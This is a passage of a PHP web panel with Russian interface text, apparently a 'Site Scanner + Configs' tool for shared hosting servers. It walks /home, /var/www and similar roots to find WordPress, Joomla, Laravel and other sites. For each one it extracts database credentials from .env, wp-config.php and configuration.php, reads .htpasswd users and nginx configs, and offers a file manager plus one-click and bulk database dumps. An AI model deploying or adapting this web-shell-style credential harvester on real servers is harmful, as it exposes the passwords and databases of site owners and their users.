            'Задания cron, очередь печати, почта. Проверка зависших задач и cron сайта.',
        ),
        'yp' => array(
            'NIS maps (Yellow Pages)',
            'Карты NIS для распределённых passwd. На shared-хостинге редко; только для legacy-сетей.',
        ),
        'www' => array(
            'Веб-корень /var/www',
            'Типичное размещение сайтов: пользователь → домен → ID (12320) или public_html.',
        ),
        'data' => array(
            'Данные аккаунта хостинга',
            'Структура uXXXX: www, tmp, email, бэкапы. Основной путь к сайтам клиента.',
        ),
        'public_html' => array(
            'public_html — document root',
            'Главная папка сайта на shared-хостинге. index.php, .htaccess, CMS здесь.',
        ),
        'httpdocs' => array(
            'httpdocs (Plesk)',
            'Аналог public_html в Plesk. Корень vhost домена.',
        ),
        'htdocs' => array(
            'htdocs',
            'Корень сайтов (XAMPP, некоторые панели). Содержимое отдаёт веб-сервер.',
        ),
        'domains' => array(
            'Список доменов',
            'Поддомены и домены аккаунта: каждая папка — отдельный vhost или ID сайта.',
        ),
        'home' => array(
            '/home — аккаунты пользователей',
            'Домашние каталоги uXXXX: public_html, domains, mail. Стартовая точка поиска сайтов.',
        ),
        'tmp' => array(
            'Временные файлы',
            'Upload temp, кэш сессий. Очистка — осторожно; может сломать активные загрузки.',
        ),
        'cache' => array(
            'Кэш',
            'Кэш CMS, opcode, прокси. Можно чистить при сбоях отображения (после бэкапа).',
        ),
        'backup' => array(
            'Резервные копии',
            'Архивы файлов/БД. Скачать для восстановления; не исполнять PHP из бэкапа на проде.',
        ),
        'backups' => array(
            'Резервные копии (мн.)',
            'Хранилище бэкапов панели или Softaculous. Проверить дату и размер перед восстановлением.',
        ),
        'ssl' => array(
            'SSL / сертификаты',
            'fullchain, privkey, csr. Установка Let\'s Encrypt или импорт своего сертификата.',
        ),
        'session' => array(
            'PHP-сессии',
            'Файлы sess_*. Удаление — разлогинит пользователей сайта.',
        ),
        'sessions' => array(
            'Сессии приложения',
            'Laravel/framework session storage. Не путать с cookie на клиенте.',
        ),
        'snap' => array(
            'Snap-пакеты',
            'Данные snapd. На серверах с snap — изолированные приложения.',
        ),
        'srv' => array(
            '/srv — сервисные данные',
            'FTP, git, общие данные служб. Иногда альтернатива /var/www.',
        ),
        'media' => array(
            'Сменные носители',
            'Точки монтирования CD/USB. На VPS обычно пусто.',
        ),
        'mnt' => array(
            'Точки монтирования',
            'Временные mount (NFS, диски). Проверить df -h при нехватке места.',
        ),
        'proc' => array(
            'Псевдо-ФС /proc',
            'Информация о процессах и ядре. Не копировать и не «чистить» как обычные файлы.',
        ),
        'sys' => array(
            'Псевдо-ФС /sys',
            'Параметры ядра и устройств. Только для диагностики админом.',
        ),
        'dev' => array(
            'Устройства /dev',
            'Спецфайлы дисков и терминалов. Не каталог загрузки сайта.',
        ),
        'etc' => array(
            'Конфиги системы /etc',
            'nginx, apache, php, mysql. Правки — только с бэкапом и reload службы.',
        ),
        'usr' => array(
            'Программы /usr',
            'Бинарники и библиотеки ОС. Не размещать код сайта.',
        ),
        'bin' => array(
            'Системные команды /bin',
            'Исполняемые файлы shell. Не веб-доступ.',
        ),
        'sbin' => array(
            'Админ-команды /sbin',
            'ifconfig, iptables и т.д. Только root.',
        ),
        'root' => array(
            'Домашний каталог root',
            'Личные файлы суперпользователя. Не document root.',
        ),
        'var' => array(
            'Переменные данные /var',
            'Логи, кэш, spool, www, softaculous. Обзор сервера — раскройте нужную ветку.',
        ),
    );
}

function scan_should_skip_dir($parent_path, $name) {
    $n = strtolower(trim((string) $name));
    if ($n === '' || $n === '.' || $n === '..') {
        return true;
    }
    if (in_array($n, scan_skip_dir_names(), true)) {
        return true;
    }
    return false;
}

function scan_is_var_system_path($path) {
    $norm = str_replace('\\', '/', (string) $path);
    if (!preg_match('#^/var(/|$)#', $norm)) {
        return false;
    }
    $parts = array_values(array_filter(explode('/', trim($norm, '/')), 'strlen'));
    if (count($parts) < 2 || $parts[0] !== 'var') {
        return false;
    }
    return in_array(strtolower($parts[1]), scan_var_system_dir_names(), true);
}

function scan_is_site_internal_dir($path) {
    $base = strtolower(basename($path));
    $internal = array(
        'wp-content', 'wp-includes', 'wp-admin', 'themes', 'plugins', 'mu-plugins',
        'uploads', 'vendor', 'node_modules', 'cache', 'tmp', 'logs', 'storage',
        'bootstrap', 'public', 'dist', 'assets', 'includes', 'administrator', 'components',
        'modules', 'templates', 'language', 'libraries', 'cli', 'bin', 'core',
    );
    if (in_array($base, $internal, true)) {
        return true;
    }
    return path_is_deep_subfolder($path);
}

function scan_path_is_descendant($child, $parent) {
    $child = rtrim(str_replace('\\', '/', (string) $child), '/');
    $parent = rtrim(str_replace('\\', '/', (string) $parent), '/');
    if ($child === '' || $parent === '' || $child === $parent) {
        return false;
    }
    return strpos($child . '/', $parent . '/') === 0;
}

function scan_path_purpose($path, $is_dir, $is_site = false, $cms = '') {
    $base = basename($path);
    $base_l = strtolower($base);
    if ($is_site) {
        $cms_label = $cms !== '' ? $cms : detect_cms($path);
        return array(
            'label' => 'Сайт · ' . $cms_label,
            'hint'  => 'Корень установки CMS. Конфиги, дамп БД, файловый менеджер. Вложенные wp-content/plugins не выводятся отдельно.',
        );
    }
    if (scan_is_infrastructure_dir($path) && !$is_site) {
        $infra = scan_path_purpose_dir_map();
        if (isset($infra[$base_l])) {
            return array('label' => $infra[$base_l][0], 'hint' => $infra[$base_l][1]);
        }
    }
    $dir_map = scan_path_purpose_dir_map();
    if (isset($dir_map[$base_l])) {
        return array('label' => $dir_map[$base_l][0], 'hint' => $dir_map[$base_l][1]);
    }
    if (preg_match('/^\d{3,8}$/', $base)) {
        return array(
            'label' => 'Папка сайта #' . $base,
            'hint'  => 'Часто ID установки (Softaculous/панель). Если есть wp-config/.env — это отдельный сайт.',
        );
    }
    if (preg_match('/\.(ru|com|net|org|ua|by|kz|site|online)$/i', $base)) {
        return array(
            'label' => 'Домен / хостнейм',
            'hint'  => 'Контейнер для одного или нескольких сайтов (подпапки с ID или public_html).',
        );
    }
    if (!$is_dir) {
        $ext = strtolower(pathinfo($base, PATHINFO_EXTENSION));
        $file_map = array(
            'php'  => array('PHP-скрипт', 'Точка входа или конфиг. wp-config.php / index.php — маркеры сайта.'),
            'env'  => array('.env', 'Переменные Laravel/фреймворка: DB_*, APP_KEY. Вставить в редактор БД.'),
            'sql'  => array('SQL-дамп', 'Экспорт БД. Импорт через phpMyAdmin или mysql CLI.'),
            'gz'   => array('Архив gzip', 'Сжатый бэкап или дамп. Распаковать перед просмотром.'),
            'zip'  => array('ZIP-архив', 'Бэкап файлов или установочный пакет.'),
            'htaccess' => array('.htaccess', 'Правила Apache: редиректы, Basic Auth, PHP-лимиты.'),
            'conf' => array('Конфиг', 'Настройки Nginx/Apache или приложения.'),
        );
        if ($base_l === '.htaccess' || $base_l === 'htaccess') {
            return array('label' => $file_map['htaccess'][0], 'hint' => $file_map['htaccess'][1]);
        }
        if (isset($file_map[$ext])) {
            return array('label' => $file_map[$ext][0], 'hint' => $file_map[$ext][1]);
        }
        return array('label' => 'Файл', 'hint' => 'Проверьте расширение и путь. Не открывать бинарные на проде без нужды.');
    }
    $norm = str_replace('\\', '/', (string) $path);
    if (preg_match('#^/var(/|$)#', $norm)) {
        return array(
            'label' => 'Каталог /var/' . $base,
            'hint'  => 'Системный или хостинговый каталог без отдельной записи. Откройте «Файлы» или уточните у поддержки хостера.',
        );
    }
    return array(
        'label' => 'Каталог «' . $base . '»',
        'hint'  => 'Нет описания в справочнике. Раскройте дерево или просмотрите содержимое — внутри могут быть сайты.',
    );
}

function scan_tree_folder_children($dir, $depth, $max_depth) {
    $real = @realpath($dir);
    $full = ($real !== false) ? $real : $dir;
    if (!dir_is_readable($full)) {
        return array();
    }
    $children = array();
    $items = @scandir($full);
    if ($items === false) {
        return array();
    }
    foreach ($items as $item) {
        if (scan_should_skip_dir($full, $item)) {
            continue;
        }
        $child_path = $full . '/' . $item;
        if (!@is_dir($child_path)) {
            continue;
        }
        if (scan_is_site_internal_dir($child_path)) {
            continue;
        }
        $sub = scan_tree_build_node($child_path, $depth + 1, $max_depth);
        if ($sub !== null) {
            $children[] = $sub;
        }
    }
    usort($children, function ($a, $b) {
        $ta = isset($a['type']) ? $a['type'] : '';
        $tb = isset($b['type']) ? $b['type'] : '';
        if ($ta === 'site' && $tb !== 'site') {
            return -1;
        }
        if ($ta !== 'site' && $tb === 'site') {
            return 1;
        }
        return strcasecmp($a['name'], $b['name']);
    });
    return $children;
}

function scan_tree_build_node($dir, $depth = 0, $max_depth = 8) {
    $real = @realpath($dir);
    $full = ($real !== false) ? $real : $dir;
    if (!@is_dir($full) || !dir_is_readable($full)) {
        return null;
    }
    $name = basename($full) ?: $full;
    $is_site = dir_looks_like_site($full);
    if ($is_site) {
        $site = build_site_entry($name, $full);
        return array(
            'type'     => 'site',
            'name'     => $name,
            'path'     => $full,
            'depth'    => $depth,
            'purpose'  => scan_path_purpose($full, true, true, $site['cms']),
            'site'     => $site,
            'children' => array(),
        );
    }
    $purpose = scan_path_purpose($full, true, false);
    $node = array(
        'type'     => 'folder',
        'name'     => $name,
        'path'     => $full,
        'depth'    => $depth,
        'purpose'  => $purpose,
        'children' => array(),
    );
    $child_max = $max_depth;
    if (scan_is_var_system_path($full)) {
        $child_max = $depth;
    }
    if ($depth < $child_max) {
        $node['children'] = scan_tree_folder_children($full, $depth, $max_depth);
    }
    return $node;
}

function scan_tree_at_root($dir) {
    $real = @realpath($dir);
    $full = ($real !== false) ? $real : $dir;
    if (!dir_is_readable($full)) {
        return array('error' => 'Cannot read: ' . $full);
    }
    $name = basename($full) ?: $full;
    $root = array(
        'type'     => 'root',
        'name'     => $name,
        'path'     => $full,
        'depth'    => 0,
        'purpose'  => scan_path_purpose($full, true, false),
        'children' => scan_tree_folder_children($full, 0, 8),
    );
    if (empty($root['children']) && dir_looks_like_site($full)) {
        $site = build_site_entry($name, $full);
        $root['children'][] = array(
            'type'     => 'site',
            'name'     => $name,
            'path'     => $full,
            'depth'    => 1,
            'purpose'  => scan_path_purpose($full, true, true, $site['cms']),
            'site'     => $site,
            'children' => array(),
        );
    }
    return $root;
}

function scan_tree_collect_sites($node, &$sites, &$by_path) {
    if (!empty($node['site']) && is_array($node['site'])) {
        $key = @realpath($node['site']['path']) ?: $node['site']['path'];
        if (!isset($by_path[$key])) {
            $by_path[$key] = $node['site'];
            $sites[] = $node['site'];
        }
    }
    if (!empty($node['children']) && is_array($node['children'])) {
        foreach ($node['children'] as $ch) {
            scan_tree_collect_sites($ch, $sites, $by_path);
        }
    }
}

function scan_tree_prune_nested_sites(&$sites) {
    $paths = array();
    foreach ($sites as $s) {
        $paths[] = rtrim(str_replace('\\', '/', $s['path']), '/');
    }
    $keep = array();
    foreach ($sites as $s) {
        $p = rtrim(str_replace('\\', '/', $s['path']), '/');
        $nested = false;
        foreach ($paths as $other) {
            if ($other !== $p && scan_path_is_descendant($p, $other)) {
                $nested = true;
                break;
            }
        }
        if (!$nested) {
            $keep[] = $s;
        }
    }
    return $keep;
}

function render_purpose_cell($purpose) {
    if (!is_array($purpose) || empty($purpose['label'])) {
        return '<span class="muted">—</span>';
    }
    $hint = isset($purpose['hint']) ? $purpose['hint'] : '';
    return '<strong class="purpose-label">' . h($purpose['label']) . '</strong>'
        . ($hint !== '' ? '<br><span class="purpose-hint">' . h($hint) . '</span>' : '');
}

function render_scan_tree_rows($node, &$site_num, $parent_id = '') {
    if (!is_array($node) || empty($node['path'])) {
        return;
    }
    $depth = isset($node['depth']) ? (int) $node['depth'] : 0;
    $type = isset($node['type']) ? $node['type'] : 'folder';
    $has_children = !empty($node['children']);
    $row_id = 'tr-' . md5($node['path'] . '|' . $type);
    $pad = 8 + $depth * 18;
    $toggle = '';
    if ($has_children) {
        $toggle = '<button type="button" class="tree-toggle" aria-expanded="true" '
            . 'onclick="treeToggleRow(this)" title="Свернуть/развернуть">▼</button>';
    } else {
        $toggle = '<span class="tree-toggle-spacer"></span>';
    }
    if ($type === 'site' && !empty($node['site'])) {
        $site = $node['site'];
        $site_num++;
        $site_row_json = json_encode(array(
            'name'       => $site['name'],
            'path'       => $site['path'],
            'cms'        => $site['cms'],
            'site_url'   => !empty($site['domain_hint']) ? $site['domain_hint'] : $site['name'],
            'site_active'=> !empty($site['site_active']),
            'has_db'     => !empty($site['has_db_creds']),
            'db_creds'   => !empty($site['db_creds']) ? $site['db_creds'] : null,
            'db_info'    => site_db_info_rows($site),
        ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
        $st = isset($site['status']) ? $site['status'] : 'pending';
        $row_class = $st === 'off' ? 'row-site-off' : ($st === 'unknown' ? 'row-site-unknown' : ($st === 'pending' ? 'row-site-pending' : ''));
        $status_key = isset($site['status_key']) ? $site['status_key'] : $site['name'];
        echo '<tr class="tree-row tree-site ' . h($row_class) . '" id="' . h($row_id) . '"'
            . ' data-tree-depth="' . (int) $depth . '"'
            . ($parent_id !== '' ? ' data-tree-parent="' . h($parent_id) . '"' : '')
            . ' data-site-path="' . h($site['path']) . '" data-status="' . h($st) . '">';
        echo '<td>' . (int) $site_num . '</td>';
        echo '<td class="tree-name-cell" style="padding-left:' . (int) $pad . 'px">' . $toggle
            . '<strong>' . h($site['name']) . '</strong>';
        if (!empty($site['domain_hint'])) {
            echo '<br><span class="path">' . h($site['domain_hint']) . '</span>';
        }
        echo '</td>';
        echo '<td class="purpose-col">' . render_purpose_cell(isset($node['purpose']) ? $node['purpose'] : null) . '</td>';
        echo '<td><span class="badge ' . cms_badge($site['cms']) . '">' . h($site['cms']) . '</span></td>';
        echo '<td>' . ($site['has_env'] ? '<span class="yes">✔</span>' : '<span class="no">✘</span>') . '</td>';
        echo '<td>' . ($site['has_wp_config'] ? '<span class="yes">✔</span>' : '<span class="no">✘</span>') . '</td>';
        echo '<td>' . ($site['has_joomla_config'] ? '<span class="yes">✔</span>' : '<span class="no">✘</span>') . '</td>';
        echo '<td>' . (!empty($site['has_db_creds']) ? '<span class="yes">✔</span>' : '<span class="no">✘</span>');
        if (!empty($site['db_creds_manual'])) {
            echo '<span style="font-size:10px;color:#1565c0;" title="Сохранено вручную">✎</span>';
        }
        echo '</td>';
        echo '<td><select class="site-status-sel status-' . h($st) . '"'
            . ' data-site-key="' . h($status_key) . '" data-initial="' . h($st) . '"'
            . ' title="' . h($site['path']) . '" onchange="siteStatusChanged(this)">';
        echo '<option value="pending"' . ($st === 'pending' ? ' selected' : '') . '>⏳ Ожидает</option>';
        echo '<option value="ok"' . ($st === 'ok' ? ' selected' : '') . '>✅ Работает</option>';
        echo '<option value="off"' . ($st === 'off' ? ' selected' : '') . '>❌ Не работает</option>';
        echo '<option value="unknown"' . ($st === 'unknown' ? ' selected' : '') . '>❓ Не проверен</option>';
        echo '</select></td>';
        echo '<td class="col-actions-icons"><button type="button" class="btn-icon" title="Данные БД" onclick=\'siteShowDbInfo(' . $site_row_json . ')\'>👁</button></td>';
        echo '<td class="col-actions-icons"><button type="button" class="btn-icon" title="Вставить wp-config / .env" onclick=\'siteEditDbConfig(' . $site_row_json . ')\'>✏️</button></td>';
        echo '<td>' . (!empty($site['htaccess_vars']['auth_type']) ? '<span class="yes">✔ Basic</span>' : '<span class="no">✘</span>') . '</td>';
        echo '<td>' . (!empty($site['nginx_vars']['auth_basic']) ? '<span class="yes">✔ Basic</span>' : '<span class="no">✘</span>') . '</td>';
        echo '<td>' . ($site['has_index'] ? '<span class="yes">✔</span>' : '<span class="no">✘</span>') . '</td>';
        echo '<td class="path">' . h($site['path']) . '</td>';
        echo '<td><button class="btn-files" onclick="openFM(\'' . h(addslashes($site['path'])) . '\',\'' . h(addslashes($site['name'])) . '\')">📁 Файлы</button>';
        if (!empty($site['has_db_creds'])) {
            echo ' <button class="btn-dump" onclick=\'dbDumpSite(' . json_encode(array(
                'name' => $site['name'],
                'cms' => $site['cms'],
                'site_url' => !empty($site['domain_hint']) ? $site['domain_hint'] : $site['name'],
                'db_creds' => $site['db_creds'],
            ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP) . ')\'>⬇️ Дамп</button>';
        }
        echo '</td></tr>';
    } else {
        echo '<tr class="tree-row tree-folder" id="' . h($row_id) . '"'
            . ' data-tree-depth="' . (int) $depth . '"'
            . ($parent_id !== '' ? ' data-tree-parent="' . h($parent_id) . '"' : '')
            . ' data-status="">';
        echo '<td class="muted">·</td>';
        echo '<td class="tree-name-cell" style="padding-left:' . (int) $pad . 'px">' . $toggle
            . '<span class="tree-folder-icon">📁</span> <strong>' . h($node['name']) . '</strong>'
            . '<br><span class="path" style="font-size:10px">' . h($node['path']) . '</span></td>';
        echo '<td class="purpose-col">' . render_purpose_cell(isset($node['purpose']) ? $node['purpose'] : null) . '</td>';
        echo '<td colspan="13" class="muted tree-folder-meta">▼ вложенные папки и сайты</td>';
        echo '</tr>';
    }
    if ($has_children) {
        foreach ($node['children'] as $ch) {
            render_scan_tree_rows($ch, $site_num, $row_id);
        }
    }
}

function build_site_entry($name, $full) {
    $cms=detect_cms($full);
    $env_vars=parse_env($full.'/.env');
    $wp_vars=parse_wp_config($full.'/wp-config.php');
    $joo_vars=parse_joomla_config($full.'/configuration.php');
    $htaccess=parse_htaccess($full.'/.htaccess');
    $htpasswd_users=array(); $htpasswd_file='';
    if (!empty($htaccess['htpasswd_path'])) { $htpasswd_file=$htaccess['htpasswd_path']; $htpasswd_users=parse_htpasswd($htpasswd_file); }
    if (empty($htpasswd_users)) { $htpasswd_file=$full.'/.htpasswd'; $htpasswd_users=parse_htpasswd($htpasswd_file); }
    $nginx_path=find_nginx_config($name); $nginx_vars=parse_nginx_config($nginx_path);
    $domain_hint=''; $htaccess_raw=@file_get_contents($full.'/.htaccess');
    if ($htaccess_raw&&preg_match('/#\s*(?:домен|domain|site|сайт)\s*[:=]?\s*([^\s]+)/iu',$htaccess_raw,$m)) $domain_hint=$m[1];
    $db_creds = site_db_credentials_from_parts($env_vars, $wp_vars, $joo_vars);
    return array('name'=>$name,'path'=>$full,'cms'=>$cms,
        'has_env'=>!empty($env_vars),'has_wp_config'=>!empty($wp_vars),'has_joomla_config'=>!empty($joo_vars),
        'has_db_creds'=>!empty($db_creds),'db_creds'=>$db_creds,
        'has_index'=>@file_exists($full.'/index.php'),
        'env_vars'=>$env_vars,'wp_vars'=>$wp_vars,'joo_vars'=>$joo_vars,
        'htaccess_vars'=>$htaccess,'htpasswd_users'=>$htpasswd_users,'htpasswd_file'=>$htpasswd_file,
        'nginx_vars'=>$nginx_vars,'domain_hint'=>$domain_hint);
}

function dir_looks_like_site($dir) {
    if (scan_is_infrastructure_dir($dir)) {
        return false;
    }
    if (scan_is_var_system_path($dir)) {
        return false;
    }
    $markers = array('wp-config.php', 'configuration.php', '.env', 'artisan', 'wp-login.php');
    foreach ($markers as $file) {
        if (@file_exists($dir . '/' . $file)) {
            return true;
        }
    }
    if (@file_exists($dir . '/index.php')) {
        $cms = detect_cms($dir);
        if ($cms !== 'Empty / Not a site' && $cms !== 'Static / Unknown') {
            return true;
        }
        if (@file_exists($dir . '/wp-config.php') || @file_exists($dir . '/.env')) {
            return true;
        }
    }
    $cms = detect_cms($dir);
    return !in_array($cms, array('Empty / Not a site', 'Static / Unknown'), true);
}

function scan_sites_from_roots($roots) {
    $by_path = array();
    $sites = array();
    $forest = array();
    $scan_log = array();
    $errors = array();
    foreach ($roots as $root) {
        $tree = scan_tree_at_root($root);
        if (isset($tree['error'])) {
            $errors[] = $tree['error'];
            $scan_log[] = array('path' => $root, 'ok' => false, 'count' => 0, 'error' => $tree['error']);
            continue;
        }
        $tree['scan_root'] = $root;
        $forest[] = $tree;
        $before = count($sites);
        scan_tree_collect_sites($tree, $sites, $by_path);
        $added = count($sites) - $before;
        $scan_log[] = array(
            'path'  => $root,
            'ok'    => true,
            'count' => $added,
            'added' => $added,
        );
    }
    $sites = scan_tree_prune_nested_sites($sites);
    usort($sites, function ($a, $b) {
        $o = array('WordPress' => 1, 'Joomla' => 2, 'Laravel' => 3, 'Opencart' => 4, 'Drupal' => 5, 'Magento' => 6, 'PrestaShop' => 7, 'Symfony' => 8, 'Yii2' => 9);
        $ar = isset($o[$a['cms']]) ? $o[$a['cms']] : 99;
        $br = isset($o[$b['cms']]) ? $o[$b['cms']] : 99;
        return $ar !== $br ? $ar - $br : strcmp($a['path'], $b['path']);
    });
    if (empty($sites) && empty($forest) && !empty($errors)) {
        return array('error' => implode('; ', $errors), 'scan_log' => $scan_log);
    }
    return array('sites' => $sites, 'tree' => $forest, 'scan_log' => $scan_log);
}

if (!app_is_authenticated()) {
    app_render_login_page();
}

$scan_result = scan_sites_from_roots($scan_roots);
if (isset($scan_result['error']) && empty($scan_result['sites'])) {
    $tried_html = '';
    if (!empty($scan_dir_tried)) {
        $parts = array();
        foreach ($scan_dir_tried as $p) {
            $s = score_scan_candidate($p);
            $parts[] = h($p) . (dir_is_readable($p) ? ' ✔' : ' ✘') . ($s >= 0 ? ' (score '.$s.')' : '');
        }
        $tried_html = '<p style="font-size:12px;margin-top:8px;">Проверенные пути:<br>' . implode('<br>', $parts) . '</p>';
    }
    $hint = '<p style="font-size:12px;">Укажите папку вручную: <code>?scan_dir=/полный/путь</code></p>';
    die('<div style="color:#c62828;font-family:sans-serif;margin:20px;"><p><strong>Ошибка:</strong> '.h($scan_result['error']).'</p>'
        .'<p style="font-size:12px;">Скрипт: <code>'.h($current_dir).'</code><br>'
        .'DOCUMENT_ROOT: <code>'.h($root_dir).'</code></p>'
        .$tried_html.$hint.'</div>');
}
$sites = isset($scan_result['sites']) ? $scan_result['sites'] : array();
$scan_tree = isset($scan_result['tree']) ? $scan_result['tree'] : array();
$scan_log = isset($scan_result['scan_log']) ? $scan_result['scan_log'] : array();
$_site_states = load_site_states();
$_site_status_name_counts = array();
foreach ($sites as $_s) {
    $n = $_s['name'];
    $_site_status_name_counts[$n] = isset($_site_status_name_counts[$n]) ? $_site_status_name_counts[$n] + 1 : 1;
}
$_site_statuses = load_site_statuses();
foreach ($sites as &$_site_ref) {
    merge_site_saved_state($_site_ref, $_site_states);
    merge_site_status($_site_ref, $_site_statuses, $_site_status_name_counts);
}
unset($_site_ref);
$sites_by_path = array();
foreach ($sites as $_merged_site) {
    $_k = @realpath($_merged_site['path']) ?: $_merged_site['path'];
    $sites_by_path[$_k] = $_merged_site;
}
function scan_tree_apply_merged_sites(&$node, $by_path) {
    if (!empty($node['site']['path'])) {
        $_k = @realpath($node['site']['path']) ?: $node['site']['path'];
        if (isset($by_path[$_k])) {
            $node['site'] = $by_path[$_k];
        }
    }
    if (!empty($node['children'])) {
        foreach ($node['children'] as &$_ch) {
            scan_tree_apply_merged_sites($_ch, $by_path);
        }
        unset($_ch);
    }
}
foreach ($scan_tree as &$_tree_root) {
    scan_tree_apply_merged_sites($_tree_root, $sites_by_path);
}
unset($_tree_root);
$with_status_off = 0;
foreach ($sites as $_s) {
    if (isset($_s['status']) && $_s['status'] === 'off') $with_status_off++;
}
$total=$with_env=$with_wp=$with_joo=$with_htauth=$with_db=$empty=0;
$total=count($sites);
$sites_db_dump_list = array();
foreach ($sites as $s) {
    if ($s['has_env'])           $with_env++;
    if ($s['has_wp_config'])     $with_wp++;
    if ($s['has_joomla_config']) $with_joo++;
    if (!empty($s['has_db_creds'])) {
        $with_db++;
        $sites_db_dump_list[] = array(
            'name'      => $s['name'],
            'path'      => $s['path'],
            'cms'       => $s['cms'],
            'site_url'  => !empty($s['domain_hint']) ? $s['domain_hint'] : $s['name'],
            'db_creds'  => $s['db_creds'],
        );
    }
    if (!empty($s['htaccess_vars']['auth_type'])) $with_htauth++;
    if ($s['cms']==='Empty / Not a site') $empty++;
}
function cms_badge($cms) {
    if (strpos($cms,'WordPress')===0) return 'badge-wp';
    if (strpos($cms,'Joomla')===0)    return 'badge-joo';
    if (strpos($cms,'Laravel')===0)   return 'badge-lar';
    if (strpos($cms,'Opencart')===0)  return 'badge-oc';
    if ($cms==='Empty / Not a site')  return 'badge-empty';
    return 'badge-other';
}
?>
<!doctype html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<title>Site Scanner + Configs</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
* { box-sizing: border-box; }
body { font-family: 'Segoe UI', Arial, sans-serif; margin: 20px; color: #222; background: #fafafa; }
h1 { margin: 0 0 10px; }
h3 { margin: 30px 0 10px; border-bottom: 2px solid #1565c0; padding-bottom: 5px; }
.stats { display: flex; gap: 15px; flex-wrap: wrap; margin: 15px 0; }
.stat-card { background: #fff; border: 1px solid #e0e0e0; border-radius: 8px; padding: 10px 16px; min-width: 100px; }
.stat-card .num { font-size: 24px; font-weight: bold; color: #1565c0; }
.stat-card .lbl { font-size: 12px; color: #666; }
table { border-collapse: collapse; width: 100%; background: #fff; border-radius: 8px; overflow: hidden; box-shadow: 0 1px 3px rgba(0,0,0,.1); margin-bottom: 10px; }
th, td { border: 1px solid #e0e0e0; padding: 6px 10px; vertical-align: top; font-size: 12px; }
th { background: #f5f5f5; font-weight: 600; text-align: left; }
tr:hover { background: #fafafa; }
.badge { display: inline-block; padding: 2px 7px; border-radius: 4px; font-size: 11px; font-weight: 600; }
.badge-wp    { background: #e3f2fd; color: #1565c0; }
.badge-joo   { background: #fff3e0; color: #e65100; }
.badge-lar   { background: #fce4ec; color: #880e4f; }
.badge-oc    { background: #e8f5e9; color: #2e7d32; }
.badge-other { background: #f3e5f5; color: #6a1b9a; }
.badge-empty { background: #f5f5f5; color: #999; }
.yes { color: #2e7d32; font-weight: bold; }
.no  { color: #ccc; }
.path { font-size: 11px; color: #666; word-break: break-all; }
code { background: #f0f0f0; padding: 1px 4px; border-radius: 3px; font-size: 11px; }
.config-block { background: #fff; border: 1px solid #e0e0e0; border-radius: 8px; padding: 12px 16px; margin-bottom: 15px; }
.config-block h4 { margin: 0 0 8px; }
.config-table { width: auto; min-width: 400px; }
.config-table td:first-child { font-weight: 600; color: #555; white-space: nowrap; }
.password { color: #c62828; }
.info-box { background: #e1f5fe; border: 1px solid #81d4fa; border-radius: 8px; padding: 10px 14px; margin-bottom: 15px; font-size: 12px; }
.section-label { margin: 8px 0 5px; font-weight: 600; font-size: 13px; display: flex; align-items: center; gap: 6px; flex-wrap: wrap; }
.btn-change { background: #1565c0; color: #fff; border: none; border-radius: 4px; padding: 3px 10px; font-size: 11px; cursor: pointer; }
.btn-change:hover { background: #0d47a1; }
.btn-view { background: #6a1b9a; color: #fff; border: none; border-radius: 4px; padding: 2px 8px; font-size: 11px; cursor: pointer; }
.btn-view:hover { background: #4a148c; }
.btn-files { background: #00695c; color: #fff; border: none; border-radius: 4px; padding: 3px 10px; font-size: 11px; cursor: pointer; }
.btn-files:hover { background: #004d40; }
.btn-dump { background: #5d4037; color: #fff; border: none; border-radius: 4px; padding: 3px 10px; font-size: 11px; cursor: pointer; }
.btn-dump:hover { background: #3e2723; }
.btn-dump-all { background: #5d4037; color: #fff; border: none; border-radius: 6px; padding: 8px 16px; font-size: 13px; font-weight: 600; cursor: pointer; }
.btn-dump-all:hover { background: #3e2723; }
.btn-dump-all:disabled { opacity: .5; cursor: not-allowed; }
.db-dump-panel { background: #fff; border: 1px solid #d7ccc8; border-radius: 8px; padding: 14px 16px; margin-bottom: 20px; }
.db-dump-panel h3 { margin: 0 0 10px; border-bottom-color: #5d4037; }
.db-dump-grid { display: grid; gap: 10px; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); }
.db-dump-grid label { display: block; font-size: 11px; font-weight: 600; color: #555; margin-bottom: 3px; }
.db-dump-grid input { width: 100%; padding: 6px 8px; border: 1px solid #ccc; border-radius: 4px; font-size: 12px; box-sizing: border-box; }
.db-dump-snippet { width: 100%; min-height: 110px; padding: 8px 10px; border: 1px solid #ccc; border-radius: 6px; font-family: 'Consolas','Monaco',monospace; font-size: 11px; resize: vertical; box-sizing: border-box; }
.db-dump-actions { display: flex; gap: 8px; flex-wrap: wrap; margin-top: 10px; align-items: center; }
.db-dump-msg { font-size: 12px; margin-top: 8px; }
.db-dump-msg.error { color: #c62828; }
.db-dump-msg.ok { color: #2e7d32; }
.db-dump-site { margin-top: 12px; padding-top: 12px; border-top: 1px dashed #e0e0e0; }
.db-dump-site h5 { margin: 0 0 8px; font-size: 13px; }

/* ===== ФАЙЛОВЫЙ МЕНЕДЖЕР ===== */
.fm-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,.65); z-index: 1200; align-items: center; justify-content: center; }
.fm-overlay.active { display: flex; }
.fm-modal { background: #1a1a2e; border-radius: 10px; width: 92vw; max-width: 1100px; height: 85vh; display: flex; flex-direction: column; box-shadow: 0 10px 50px rgba(0,0,0,.6); overflow: hidden; }
.fm-header { background: #16213e; padding: 10px 16px; display: flex; align-items: center; gap: 10px; border-bottom: 1px solid #0f3460; flex-wrap: wrap; }
.fm-title { color: #e0e0e0; font-size: 14px; font-weight: 600; }
.fm-breadcrumb { flex: 1; color: #90caf9; font-size: 12px; font-family: monospace; word-break: break-all; }
.fm-header-actions { display: flex; gap: 6px; }
.fm-btn { background: #0f3460; color: #90caf9; border: 1px solid #1565c0; border-radius: 4px; padding: 4px 12px; font-size: 11px; cursor: pointer; }
.fm-btn:hover { background: #1565c0; color: #fff; }
.fm-btn-close { background: transparent; color: #aaa; border: none; font-size: 22px; cursor: pointer; line-height: 1; padding: 0 4px; }
.fm-btn-close:hover { color: #fff; }
.fm-body { display: flex; flex: 1; overflow: hidden; }
.fm-list-pane { width: 100%; overflow-y: auto; border-right: 1px solid #0f3460; transition: width .2s; }
.fm-list-pane.split { width: 38%; }
.fm-table { width: 100%; border-collapse: collapse; }
